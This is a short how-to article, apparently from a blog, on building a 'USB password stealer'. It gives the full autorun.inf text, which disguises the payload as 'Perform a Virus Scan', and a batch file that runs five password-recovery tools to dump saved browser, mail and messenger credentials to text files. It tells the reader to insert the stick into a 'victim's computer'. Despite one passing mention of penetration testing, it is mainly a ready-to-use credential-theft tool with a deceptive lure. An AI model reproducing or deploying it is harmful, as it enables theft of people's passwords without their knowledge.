USB Stealer

Windows allows the storage of passwords, as do modern browsers. While this feature is convenient for users, it has imposed itself as a big security risk among organizations. We know that browsers store most passwords on a daily basis, like MSN messenger, Yahoo, Facebook passwords, etc. Most people lack the time and ask their browsers to save their passwords. As we know, there are many tools available to recover saved passwords, so in this article, I will explain to you how to make a USB password stealer and steal saved passwords.

Just to explain the concept, we are going to collect some password-stealing tools, tools that are freely available on the internet and capable of stealing the passwords stored in browsers or other windows files.

Then, we create a batch program that will execute these combined programs and store the stolen usernames and passwords in a text file.

To further spice up the penetration testing demonstration, we will also make this batch file execute as an auto-run for the USB stick, effectively stealing the passwords as we plug it in.

1. First of all download all 5 tools and copy the executables (.exe files) i.e. Copy the files mspass.exe, mailpv.exe, iepv.exe, pspv.exe, and passwordfox.exe into your USB Drive.

2. Create a new Notepad and input the following text:

[autorun] open=launch.bat ACTION= Perform a Virus Scan Save the Notepad and rename it from “New Text Document.txt” to “autorun. inf”. Now copy the “autorun. inf” file onto your USB stick.

3. Create another Notepad and write the following text onto it: start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt

4. Save the Notepad and rename it from “New Text Document.txt” to “launch.bat”

5. Copy the “launch.bat” file onto your USB drive. Now your USB Password stealer is ready, all you have to do is insert it into your victim’s computer and a popup will appear. In the popup window, select the option “launch virus scan.”

After this, you can see the saved password in.TXT files
